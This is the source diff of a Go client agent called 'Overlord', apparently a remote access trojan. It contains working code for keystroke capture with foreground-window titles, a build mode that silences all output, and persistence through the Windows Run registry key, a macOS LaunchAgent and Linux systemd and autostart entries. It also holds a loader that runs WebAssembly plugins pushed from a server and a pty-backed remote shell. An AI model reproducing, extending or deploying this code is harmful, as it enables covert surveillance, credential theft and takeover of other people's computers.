if vk >= 0x70 && vk <= 0x87 {
return fmt.Sprintf("[F%d]", vk-0x6F)
}
if vk >= 0x60 && vk <= 0x69 {
return fmt.Sprintf("%d", vk-0x60)
}
return ""
}
func oemKeyFallback(vk int, shiftDown bool) string {
switch vk {
case 0xBA: // VK_OEM_1 ;:
if shiftDown {
return ":"
}
return ";"
case 0xBB: // VK_OEM_PLUS =+
if shiftDown {
return "+"
}
return "="
case 0xBC: // VK_OEM_COMMA ,<
if shiftDown {
return "<"
}
return ","
case 0xBD: // VK_OEM_MINUS -_
if shiftDown {
return "_"
}
return "-"
case 0xBE: // VK_OEM_PERIOD .>
if shiftDown {
return ">"
}
return "."
case 0xBF: // VK_OEM_2 /?
if shiftDown {
return "?"
}
return "/"
case 0xC0: // VK_OEM_3 `~
if shiftDown {
return "~"
}
return "`"
case 0xDB: // VK_OEM_4 [{
if shiftDown {
return "{"
}
return "["
case 0xDC: // VK_OEM_5 \|
if shiftDown {
return "|"
}
return "\\"
case 0xDD: // VK_OEM_6 ]}
if shiftDown {
return "}"
}
return "]"
case 0xDE: // VK_OEM_7 '\"
if shiftDown {
return "\""
}
return "'"
}
return ""
}
func getAsyncKeyState(vk int) uint16 {
ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
return uint16(ret)
}
func keyNameForCombo(vk int) string {
// Letters
if vk >= 0x41 && vk <= 0x5A {
return string(rune('A' + (vk - 0x41)))
}
// Digits 0-9
if vk >= 0x30 && vk <= 0x39 {
return string(rune('0' + (vk - 0x30)))
}
// Function keys
if vk >= 0x70 && vk <= 0x87 {
return fmt.Sprintf("F%d", vk-0x6F)
}
// Numpad digits
if vk >= 0x60 && vk <= 0x69 {
return fmt.Sprintf("NUM%d", vk-0x60)
}
return ""
}
func formatCombo(ctrlDown, altDown, shiftDown bool, key string) string {
parts := make([]string, 0, 4)
if ctrlDown {
parts = append(parts, "CTRL")
}
if altDown {
parts = append(parts, "ALT")
}
if shiftDown {
parts = append(parts, "SHIFT")
}
parts = append(parts, key)
return "[" + strings.Join(parts, "+") + "]"
}
func getWindowTitle() string {
hwnd, _, _ := procGetForegroundWindow.Call()
if hwnd == 0 {
return ""
}
var buf [256]uint16
ret, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
if ret == 0 {
return ""
}
return syscall.UTF16ToString(buf[:])
}
@@ -0,0 +1,24 @@
//go:build noprint
// +build noprint
package main
import (
"io"
"log"
"os"
)
var devNullFile *os.File
func init() {
log.SetOutput(io.Discard)
file, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
if err != nil {
return
}
devNullFile = file
os.Stdout = file
os.Stderr = file
}
+39
View File
@@ -0,0 +1,39 @@
package main
import (
"log"
"time"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/mutex"
"overlord-client/cmd/agent/persistence"
)
func main() {
cfg := config.Load()
if cfg.EnablePersistence {
if err := persistence.Setup(); err != nil {
log.Printf("Warning: Failed to setup persistence: %v", err)
}
}
releaseMutex, ok, err := mutex.Acquire(cfg.Mutex)
if err != nil {
log.Printf("[mutex] failed to initialize mutex: %v", err)
return
}
if !ok {
log.Printf("[mutex] another instance is already running; exiting")
return
}
defer releaseMutex()
for {
func() {
defer recoverAndLog("main", nil)
runClient(cfg)
}()
time.Sleep(2 * time.Second)
}
}
+17
View File
@@ -0,0 +1,17 @@
package main
import (
"testing"
"time"
rt "overlord-client/cmd/agent/runtime"
)
func TestMinDuration(t *testing.T) {
if got := rt.MinDuration(1*time.Second, 5*time.Second); got != 1*time.Second {
t.Fatalf("expected shorter duration returned, got %s", got)
}
if got := rt.MinDuration(5*time.Second, 1*time.Second); got != 1*time.Second {
t.Fatalf("expected shorter duration returned, got %s", got)
}
}
+33
View File
@@ -0,0 +1,33 @@
package mutex
import (
"fmt"
"strings"
)
const maxMutexLength = 64
func sanitizeName(name string) (string, error) {
trimmed := strings.TrimSpace(name)
if trimmed == "" {
return "", fmt.Errorf("empty mutex name")
}
var builder strings.Builder
for _, r := range trimmed {
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
builder.WriteRune(r)
}
}
sanitized := builder.String()
if sanitized == "" {
return "", fmt.Errorf("mutex name has no valid characters")
}
if len(sanitized) > maxMutexLength {
sanitized = sanitized[:maxMutexLength]
}
return sanitized, nil
}
@@ -0,0 +1,44 @@
//go:build !windows
package mutex
import (
"errors"
"fmt"
"os"
"path/filepath"
"golang.org/x/sys/unix"
)
func Acquire(name string) (func(), bool, error) {
if name == "" {
return func() {}, true, nil
}
sanitized, err := sanitizeName(name)
if err != nil {
return nil, false, err
}
lockPath := filepath.Join(os.TempDir(), fmt.Sprintf("overlord-%s.lock", sanitized))
file, err := os.OpenFile(lockPath, os.O_CREATE|os.O_RDWR, 0o644)
if err != nil {
return nil, false, fmt.Errorf("open mutex file: %w", err)
}
if err := unix.Flock(int(file.Fd()), unix.LOCK_EX|unix.LOCK_NB); err != nil {
_ = file.Close()
if errors.Is(err, unix.EWOULDBLOCK) {
return func() {}, false, nil
}
return nil, false, fmt.Errorf("lock mutex file: %w", err)
}
release := func() {
_ = unix.Flock(int(file.Fd()), unix.LOCK_UN)
_ = file.Close()
}
return release, true, nil
}
@@ -0,0 +1,38 @@
//go:build windows
package mutex
import (
"fmt"
"golang.org/x/sys/windows"
)
func Acquire(name string) (func(), bool, error) {
if name == "" {
return func() {}, true, nil
}
sanitized, err := sanitizeName(name)
if err != nil {
return nil, false, err
}
fullName := "Global\\Overlord-" + sanitized
handle, err := windows.CreateMutex(nil, false, windows.StringToUTF16Ptr(fullName))
if err != nil {
return nil, false, fmt.Errorf("create mutex: %w", err)
}
if windows.GetLastError() == windows.ERROR_ALREADY_EXISTS {
windows.CloseHandle(handle)
return func() {}, false, nil
}
release := func() {
_ = windows.ReleaseMutex(handle)
_ = windows.CloseHandle(handle)
}
return release, true, nil
}
@@ -0,0 +1,34 @@
package persistence
import (
"os"
"path/filepath"
)
func Setup() error {
exePath, err := os.Executable()
if err != nil {
return err
}
exePath, err = filepath.Abs(exePath)
if err != nil {
return err
}
return install(exePath)
}
func InstallFrom(exePath string) error {
return install(exePath)
}
func Configure(exePath string) error {
return configure(exePath)
}
func TargetPath() (string, error) {
return getTargetPath()
}
func Remove() error {
return uninstall()
}
@@ -0,0 +1,197 @@
//go:build darwin
// +build darwin
package persistence
import (
"fmt"
"io"
"os"
"os/user"
"path/filepath"
"text/template"
)
const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.overlord.agent</string>
<key>ProgramArguments</key>
<array>
<string>{{.ExePath}}</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>/tmp/overlord-agent.log</string>
<key>StandardErrorPath</key>
<string>/tmp/overlord-agent-error.log</string>
</dict>
</plist>
`
func getPlistPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil
}
func getTargetPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil
}
func install(exePath string) error {
targetPath, err := getTargetPath()
if err != nil {
return fmt.Errorf("failed to get target path: %w", err)
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create Overlord directory: %w", err)
}
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
plistPath, err := getPlistPath()
if err != nil {
return fmt.Errorf("failed to get plist path: %w", err)
}
launchAgentsDir := filepath.Dir(plistPath)
if err := os.MkdirAll(launchAgentsDir, 0755); err != nil {
return fmt.Errorf("failed to create LaunchAgents directory: %w", err)
}
file, err := os.Create(plistPath)
if err != nil {
return fmt.Errorf("failed to create plist file: %w", err)
}
defer file.Close()
tmpl, err := template.New("plist").Parse(launchAgentPlist)
if err != nil {
return fmt.Errorf("failed to parse template: %w", err)
}
data := struct {
ExePath string
}{
ExePath: targetPath,
}
if err := tmpl.Execute(file, data); err != nil {
return fmt.Errorf("failed to write plist file: %w", err)
}
return nil
}
func replaceExecutable(exePath, targetPath string) error {
srcFile, err := os.Open(exePath)
if err != nil {
return fmt.Errorf("failed to open source executable: %w", err)
}
defer srcFile.Close()
dir := filepath.Dir(targetPath)
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
if err != nil {
return fmt.Errorf("failed to create temp executable: %w", err)
}
tmpPath := tmpFile.Name()
defer func() {
_ = tmpFile.Close()
_ = os.Remove(tmpPath)
}()
if _, err := io.Copy(tmpFile, srcFile); err != nil {
return fmt.Errorf("failed to copy executable: %w", err)
}
if err := tmpFile.Sync(); err != nil {
return fmt.Errorf("failed to sync temp file: %w", err)
}
if err := tmpFile.Close(); err != nil {
return fmt.Errorf("failed to close temp file: %w", err)
}
if err := os.Rename(tmpPath, targetPath); err != nil {
if removeErr := os.Remove(targetPath); removeErr == nil {
if err = os.Rename(tmpPath, targetPath); err == nil {
return nil
}
}
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
}
if err := os.Chmod(targetPath, 0755); err != nil {
return fmt.Errorf("failed to set executable permissions: %w", err)
}
return nil
}
func configure(exePath string) error {
plistPath, err := getPlistPath()
if err != nil {
return fmt.Errorf("failed to get plist path: %w", err)
}
launchAgentsDir := filepath.Dir(plistPath)
if err := os.MkdirAll(launchAgentsDir, 0755); err != nil {
return fmt.Errorf("failed to create LaunchAgents directory: %w", err)
}
file, err := os.Create(plistPath)
if err != nil {
return fmt.Errorf("failed to create plist file: %w", err)
}
defer file.Close()
tmpl, err := template.New("plist").Parse(launchAgentPlist)
if err != nil {
return fmt.Errorf("failed to parse template: %w", err)
}
data := struct {
ExePath string
}{
ExePath: exePath,
}
if err := tmpl.Execute(file, data); err != nil {
return fmt.Errorf("failed to execute template: %w", err)
}
return nil
}
func uninstall() error {
plistPath, err := getPlistPath()
if err != nil {
return fmt.Errorf("failed to get plist path: %w", err)
}
if err := os.Remove(plistPath); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("failed to remove plist file: %w", err)
}
if targetPath, err := getTargetPath(); err == nil {
os.Remove(targetPath)
}
return nil
}
@@ -0,0 +1,227 @@
//go:build linux
// +build linux
package persistence
import (
"fmt"
"io"
"os"
"os/user"
"path/filepath"
"text/template"
)
const systemdService = `[Unit]
Description=Overlord Agent
After=network.target
[Service]
Type=simple
ExecStart={{.ExePath}}
Restart=always
RestartSec=10
[Install]
WantedBy=default.target
`
const desktopEntry = `[Desktop Entry]
Type=Application
Name=Overlord Agent
Exec={{.ExePath}}
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
`
func getSystemdPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil
}
func getAutostartPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil
}
func getTargetPath() (string, error) {
usr, err := user.Current()
if err != nil {
return "", err
}
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil
}
func install(exePath string) error {
targetPath, err := getTargetPath()
if err != nil {
return fmt.Errorf("failed to get target path: %w", err)
}
dir := filepath.Dir(targetPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create overlord directory: %w", err)
}
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
if err := installSystemd(targetPath); err == nil {
return nil
}
return installAutostart(targetPath)
}
func replaceExecutable(exePath, targetPath string) error {
srcFile, err := os.Open(exePath)
if err != nil {
return fmt.Errorf("failed to open source executable: %w", err)
}
defer srcFile.Close()
dir := filepath.Dir(targetPath)
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
if err != nil {
return fmt.Errorf("failed to create temp executable: %w", err)
}
tmpPath := tmpFile.Name()
defer func() {
_ = tmpFile.Close()
_ = os.Remove(tmpPath)
}()
if _, err := io.Copy(tmpFile, srcFile); err != nil {
return fmt.Errorf("failed to copy executable: %w", err)
}
if err := tmpFile.Sync(); err != nil {
return fmt.Errorf("failed to sync temp file: %w", err)
}
if err := tmpFile.Close(); err != nil {
return fmt.Errorf("failed to close temp file: %w", err)
}
if err := os.Rename(tmpPath, targetPath); err != nil {
if removeErr := os.Remove(targetPath); removeErr == nil {
if err = os.Rename(tmpPath, targetPath); err == nil {
return nil
}
}
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
}
if err := os.Chmod(targetPath, 0755); err != nil {
return fmt.Errorf("failed to set executable permissions: %w", err)
}
return nil
}
func installSystemd(exePath string) error {
servicePath, err := getSystemdPath()
if err != nil {
return err
}
dir := filepath.Dir(servicePath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create systemd directory: %w", err)
}
file, err := os.Create(servicePath)
if err != nil {
return fmt.Errorf("failed to create service file: %w", err)
}
defer file.Close()
tmpl, err := template.New("service").Parse(systemdService)
if err != nil {
return fmt.Errorf("failed to parse template: %w", err)
}
data := struct {
ExePath string
}{
ExePath: exePath,
}
if err := tmpl.Execute(file, data); err != nil {
return fmt.Errorf("failed to write service file: %w", err)
}
return nil
}
func configure(exePath string) error {
if err := installSystemd(exePath); err == nil {
return nil
}
return installAutostart(exePath)
}
func installAutostart(exePath string) error {
autostartPath, err := getAutostartPath()
if err != nil {
return err
}
dir := filepath.Dir(autostartPath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create autostart directory: %w", err)
}
file, err := os.Create(autostartPath)
if err != nil {
return fmt.Errorf("failed to create desktop entry: %w", err)
}
defer file.Close()
tmpl, err := template.New("desktop").Parse(desktopEntry)
if err != nil {
return fmt.Errorf("failed to parse template: %w", err)
}
data := struct {
ExePath string
}{
ExePath: exePath,
}
if err := tmpl.Execute(file, data); err != nil {
return fmt.Errorf("failed to write desktop entry: %w", err)
}
return nil
}
func uninstall() error {
var lastErr error
if servicePath, err := getSystemdPath(); err == nil {
if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
lastErr = fmt.Errorf("failed to remove systemd service: %w", err)
}
}
if autostartPath, err := getAutostartPath(); err == nil {
if err := os.Remove(autostartPath); err != nil && !os.IsNotExist(err) {
lastErr = fmt.Errorf("failed to remove autostart entry: %w", err)
}
}
if targetPath, err := getTargetPath(); err == nil {
os.Remove(targetPath)
}
return lastErr
}
@@ -0,0 +1,132 @@
//go:build windows
// +build windows
package persistence
import (
"fmt"
"io"
"os"
"path/filepath"
"golang.org/x/sys/windows/registry"
)
const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
const registryValueName = "OverlordAgent"
func getTargetPath() (string, error) {
appDataDir := os.Getenv("APPDATA")
if appDataDir == "" {
return "", fmt.Errorf("APPDATA environment variable not set")
}
return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil
}
func install(exePath string) error {
targetPath, err := getTargetPath()
if err != nil {
return err
}
overlordDir := filepath.Dir(targetPath)
err = os.MkdirAll(overlordDir, 0755)
if err != nil {
return fmt.Errorf("failed to create Overlord directory: %w", err)
}
if err := replaceExecutable(exePath, targetPath); err != nil {
return err
}
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open registry key: %w", err)
}
defer k.Close()
err = k.SetStringValue(registryValueName, targetPath)
if err != nil {
return fmt.Errorf("failed to set registry value: %w", err)
}
return nil
}
func replaceExecutable(exePath, targetPath string) error {
srcFile, err := os.Open(exePath)
if err != nil {
return fmt.Errorf("failed to open source executable: %w", err)
}
defer srcFile.Close()
dir := filepath.Dir(targetPath)
tmpFile, err := os.CreateTemp(dir, "agent-*.tmp")
if err != nil {
return fmt.Errorf("failed to create temp executable: %w", err)
}
tmpPath := tmpFile.Name()
defer func() {
_ = tmpFile.Close()
_ = os.Remove(tmpPath)
}()
if _, err := io.Copy(tmpFile, srcFile); err != nil {
return fmt.Errorf("failed to copy executable: %w", err)
}
if err := tmpFile.Sync(); err != nil {
return fmt.Errorf("failed to sync temp file: %w", err)
}
if err := tmpFile.Close(); err != nil {
return fmt.Errorf("failed to close temp file: %w", err)
}
if err := os.Rename(tmpPath, targetPath); err != nil {
if removeErr := os.Remove(targetPath); removeErr == nil {
if err = os.Rename(tmpPath, targetPath); err == nil {
return nil
}
}
return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err)
}
return nil
}
func configure(exePath string) error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open registry key: %w", err)
}
defer k.Close()
if err := k.SetStringValue(registryValueName, exePath); err != nil {
return fmt.Errorf("failed to set registry value: %w", err)
}
return nil
}
func uninstall() error {
k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
if err != nil {
return fmt.Errorf("failed to open registry key: %w", err)
}
defer k.Close()
err = k.DeleteValue(registryValueName)
if err != nil && err != registry.ErrNotExist {
return fmt.Errorf("failed to delete registry value: %w", err)
}
appDataDir := os.Getenv("APPDATA")
if appDataDir != "" {
targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe")
os.Remove(targetPath)
}
return nil
}
@@ -0,0 +1,348 @@
package plugins
import (
"context"
"errors"
"io"
"log"
"sync"
"github.com/tetratelabs/wazero"
"github.com/tetratelabs/wazero/api"
"github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1"
"github.com/vmihailenco/msgpack/v5"
"overlord-client/cmd/agent/wire"
)
type Manager struct {
mu sync.Mutex
plugins map[string]*pluginInstance
pending map[string]*pendingBundle
writer wire.Writer
host HostInfo
}
type pluginInstance struct {
id string
manifest PluginManifest
ctx context.Context
cancel context.CancelFunc
runtime wazero.Runtime
module api.Module
stdin io.WriteCloser
stdout io.ReadCloser
stderr io.ReadCloser
enc *msgpack.Encoder
dec *msgpack.Decoder
encMu sync.Mutex
}
type pendingBundle struct {
manifest PluginManifest
totalSize int
totalChunks int
chunks map[int][]byte
received int
receivedSz int
}
func NewManager(writer wire.Writer, host HostInfo) *Manager {
return &Manager{
plugins: make(map[string]*pluginInstance),
pending: make(map[string]*pendingBundle),
writer: writer,
host: host,
}
}
func (m *Manager) StartBundle(manifest PluginManifest, totalSize int, totalChunks int) error {
if manifest.ID == "" {
return errors.New("missing plugin id")
}
if totalChunks <= 0 {
return errors.New("invalid total chunks")
}
if totalSize <= 0 {
return errors.New("invalid total size")
}
if totalChunks > 10000 {
return errors.New("too many chunks")
}
m.mu.Lock()
m.pending[manifest.ID] = &pendingBundle{
manifest: manifest,
totalSize: totalSize,
totalChunks: totalChunks,
chunks: make(map[int][]byte),
}
m.mu.Unlock()
return nil
}
func (m *Manager) AddChunk(pluginId string, index int, data []byte) error {
if pluginId == "" {
return errors.New("missing plugin id")
}
if index < 0 {
return errors.New("invalid chunk index")
}
m.mu.Lock()
b := m.pending[pluginId]
if b == nil {
m.mu.Unlock()
return errors.New("bundle not initialized")
}
if _, exists := b.chunks[index]; !exists {
b.chunks[index] = data
b.received++
b.receivedSz += len(data)
}
m.mu.Unlock()
return nil
}
func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error {
m.mu.Lock()
b := m.pending[pluginId]
if b == nil {
m.mu.Unlock()
return errors.New("bundle not initialized")
}
if b.received < b.totalChunks {
m.mu.Unlock()
return errors.New("bundle incomplete")
}
chunks := make([][]byte, b.totalChunks)
for i := 0; i < b.totalChunks; i++ {
chunks[i] = b.chunks[i]
if chunks[i] == nil {
m.mu.Unlock()
return errors.New("missing chunk")
}
}
manifest := b.manifest
delete(m.pending, pluginId)
m.mu.Unlock()
combined := make([]byte, 0, b.totalSize)
for _, part := range chunks {
combined = append(combined, part...)
}
return m.Load(ctx, manifest, combined)
}
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, wasm []byte) error {
if len(wasm) == 0 {
return errors.New("empty wasm payload")
}
pluginID := manifest.ID
if pluginID == "" {
return errors.New("missing plugin id")
}
m.mu.Lock()
if existing, ok := m.plugins[pluginID]; ok {
_ = existing.Close()
delete(m.plugins, pluginID)
}
m.mu.Unlock()
runtimeCtx, cancel := context.WithCancel(ctx)
rt := wazero.NewRuntime(runtimeCtx)
if _, err := wasi_snapshot_preview1.Instantiate(runtimeCtx, rt); err != nil {
cancel()
return err
}
stdinR, stdinW := io.Pipe()
stdoutR, stdoutW := io.Pipe()
stderrR, stderrW := io.Pipe()
config := wazero.NewModuleConfig().
WithStdin(stdinR).
WithStdout(stdoutW).
WithStderr(stderrW).
WithStartFunctions()
compiled, err := rt.CompileModule(runtimeCtx, wasm)
if err != nil {
cancel()
return err
}
module, err := rt.InstantiateModule(runtimeCtx, compiled, config)
if err != nil {
cancel()
return err
}
pi := &pluginInstance{
id: pluginID,
manifest: manifest,
ctx: runtimeCtx,
cancel: cancel,
runtime: rt,
module: module,
stdin: stdinW,
stdout: stdoutR,
stderr: stderrR,
enc: msgpack.NewEncoder(stdinW),
dec: msgpack.NewDecoder(stdoutR),
}
goSafe("plugin readLoop", pi.cancel, func() {
m.readLoop(pi)
})
goSafe("plugin readStderr", pi.cancel, func() {
m.readStderr(pi)
})
if start := module.ExportedFunction("_start"); start != nil {
goSafe("plugin _start", pi.cancel, func() {
if _, err := start.Call(runtimeCtx); err != nil {
log.Printf("[plugin] %s _start error: %v", pluginID, err)
}
})
}
if err := m.sendInit(pi); err != nil {
_ = pi.Close()
return err
}
m.mu.Lock()
m.plugins[pluginID] = pi
m.mu.Unlock()
log.Printf("[plugin] loaded %s", pluginID)
return nil
}
func (m *Manager) Dispatch(ctx context.Context, pluginId, event string, payload interface{}) error {
m.mu.Lock()
pi := m.plugins[pluginId]
m.mu.Unlock()
if pi == nil {
return nil
}
msg := PluginMessage{Type: "event", Event: event, Payload: payload}
return m.sendMessage(ctx, pi, msg)
}
func (m *Manager) Close() {
m.mu.Lock()
defer m.mu.Unlock()
for id, pi := range m.plugins {
_ = pi.Close()
delete(m.plugins, id)
}
}
func (m *Manager) Unload(pluginId string) {
m.mu.Lock()
defer m.mu.Unlock()
if pi, ok := m.plugins[pluginId]; ok {
_ = pi.Close()
delete(m.plugins, pluginId)
}
}
func (m *Manager) sendInit(pi *pluginInstance) error {
payload := map[string]interface{}{
"manifest": pi.manifest,
"host": m.host,
}
msg := PluginMessage{Type: "init", Payload: payload}
return m.sendMessage(context.Background(), pi, msg)
}
func (m *Manager) sendMessage(ctx context.Context, pi *pluginInstance, msg PluginMessage) error {
pi.encMu.Lock()
defer pi.encMu.Unlock()
select {
case <-ctx.Done():
return ctx.Err()
default:
return pi.enc.Encode(msg)
}
}
func (m *Manager) readLoop(pi *pluginInstance) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugin] %s read loop panic: %v", pi.id, r)
}
}()
for {
var msg map[string]interface{}
if err := pi.dec.Decode(&msg); err != nil {
if errors.Is(err, io.EOF) || errors.Is(err, context.Canceled) {
return
}
log.Printf("[plugin] %s read error: %v", pi.id, err)
return
}
m.handlePluginMessage(pi.id, msg)
}
}
func (m *Manager) readStderr(pi *pluginInstance) {
defer func() {
if r := recover(); r != nil {
log.Printf("[plugin] %s stderr loop panic: %v", pi.id, r)
}
}()
buf := make([]byte, 4096)
for {
n, err := pi.stderr.Read(buf)
if n > 0 {
log.Printf("[plugin] %s stderr: %s", pi.id, string(buf[:n]))
}
if err != nil {
return
}
}
}
func (m *Manager) handlePluginMessage(pluginId string, msg map[string]interface{}) {
msgType, _ := msg["type"].(string)
if msgType == "log" {
log.Printf("[plugin] %s log: %v", pluginId, msg["payload"])
return
}
if msgType == "event" {
event, _ := msg["event"].(string)
payload := msg["payload"]
if event == "" {
return
}
err := wire.WriteMsg(context.Background(), m.writer, wire.PluginEvent{
Type: "plugin_event",
PluginID: pluginId,
Event: event,
Payload: payload,
})
if err != nil {
log.Printf("[plugin] %s send event error: %v", pluginId, err)
}
return
}
}
func (pi *pluginInstance) Close() error {
pi.cancel()
_ = pi.stdin.Close()
_ = pi.stdout.Close()
_ = pi.stderr.Close()
if pi.module != nil {
_ = pi.module.Close(context.Background())
}
if pi.runtime != nil {
_ = pi.runtime.Close(context.Background())
}
return nil
}
@@ -0,0 +1,56 @@
package plugins
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"runtime/debug"
"time"
)
const crashLogFileName = "crashlogC.log"
func goSafe(label string, cancel context.CancelFunc, fn func()) {
go func() {
defer recoverAndLog(label, cancel)
fn()
}()
}
func recoverAndLog(label string, cancel context.CancelFunc) {
if r := recover(); r != nil {
reason := fmt.Sprintf("%s panic: %v", label, r)
stack := debug.Stack()
path := writeCrashLog(reason, stack)
log.Printf("[panic] %s (see %s)", reason, path)
if cancel != nil {
cancel()
}
}
}
func writeCrashLog(reason string, stack []byte) string {
dir := os.TempDir()
_ = os.MkdirAll(dir, 0700)
path := filepath.Join(dir, crashLogFileName)
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
if err != nil {
log.Printf("[panic] failed to open crash log %s: %v", path, err)
return path
}
defer file.Close()
timestamp := time.Now().UTC().Format(time.RFC3339)
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
if len(stack) > 0 {
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
}
return path
}
@@ -0,0 +1,64 @@
package plugins
import "errors"
type PluginAssets struct {
HTML string `msgpack:"html" json:"html"`
CSS string `msgpack:"css" json:"css"`
JS string `msgpack:"js" json:"js"`
}
type PluginManifest struct {
ID string `msgpack:"id" json:"id"`
Name string `msgpack:"name" json:"name"`
Version string `msgpack:"version,omitempty" json:"version,omitempty"`
Description string `msgpack:"description,omitempty" json:"description,omitempty"`
Binary string `msgpack:"binary,omitempty" json:"binary,omitempty"`
Entry string `msgpack:"entry,omitempty" json:"entry,omitempty"`
Assets PluginAssets `msgpack:"assets,omitempty" json:"assets,omitempty"`
}
type PluginMessage struct {
Type string `msgpack:"type"`
Event string `msgpack:"event,omitempty"`
Payload interface{} `msgpack:"payload,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type HostInfo struct {
ClientID string `msgpack:"clientId"`
OS string `msgpack:"os"`
Arch string `msgpack:"arch"`
Version string `msgpack:"version"`
}
func ManifestFromMap(m map[string]interface{}) (PluginManifest, error) {
manifest := PluginManifest{}
manifest.ID = stringVal(m["id"])
manifest.Name = stringVal(m["name"])
manifest.Version = stringVal(m["version"])
manifest.Description = stringVal(m["description"])
manifest.Binary = stringVal(m["binary"])
manifest.Entry = stringVal(m["entry"])
if assetsRaw, ok := m["assets"].(map[string]interface{}); ok {
manifest.Assets = PluginAssets{
HTML: stringVal(assetsRaw["html"]),
CSS: stringVal(assetsRaw["css"]),
JS: stringVal(assetsRaw["js"]),
}
}
if manifest.ID == "" {
return PluginManifest{}, errors.New("missing plugin id")
}
if manifest.Name == "" {
manifest.Name = manifest.ID
}
return manifest, nil
}
func stringVal(v interface{}) string {
s, _ := v.(string)
return s
}
@@ -0,0 +1,209 @@
package runtime
import (
"context"
"fmt"
"io"
"os"
"os/exec"
"runtime"
"sync"
"syscall"
"overlord-client/cmd/agent/wire"
"github.com/creack/pty"
)
type ConsoleHub struct {
env *Env
mu sync.Mutex
sessions map[string]*ConsoleSession
}
type ConsoleSession struct {
id string
cmd *exec.Cmd
pty *os.File
cancel context.CancelFunc
once sync.Once
}
type ConsoleStartRequest struct {
SessionID string
Cols int
Rows int
}
func NewConsoleHub(env *Env) *ConsoleHub {
return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)}
}
func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error {
if req.SessionID == "" {
return fmt.Errorf("missing session id")
}
cols := uint16(req.Cols)
rows := uint16(req.Rows)
if cols == 0 {
cols = 120
}
if rows == 0 {
rows = 36
}
h.mu.Lock()
if existing, ok := h.sessions[req.SessionID]; ok {
existing.close()
delete(h.sessions, req.SessionID)
}
h.mu.Unlock()
shell := detectShell()
sessionCtx, cancel := context.WithCancel(ctx)
cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...)
cmd.Env = os.Environ()
ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
if err != nil {
cancel()
h.emitError(ctx, req.SessionID, err)
return err
}
sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel}
h.mu.Lock()
h.sessions[req.SessionID] = sess
h.mu.Unlock()
go h.forwardOutput(sessionCtx, sess)
return nil
}
func (h *ConsoleHub) Write(ctx context.Context, sessionID string, data string) error {
sess := h.get(sessionID)
if sess == nil {
return fmt.Errorf("session not found")
}
_, err := sess.pty.Write([]byte(data))
return err
}
func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error {
sess := h.get(sessionID)
if sess == nil {
return fmt.Errorf("session not found")
}
if cols <= 0 {
cols = 120
}
if rows <= 0 {
rows = 36
}
return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)})
}
func (h *ConsoleHub) Stop(sessionID string) {
h.mu.Lock()
sess := h.sessions[sessionID]
delete(h.sessions, sessionID)
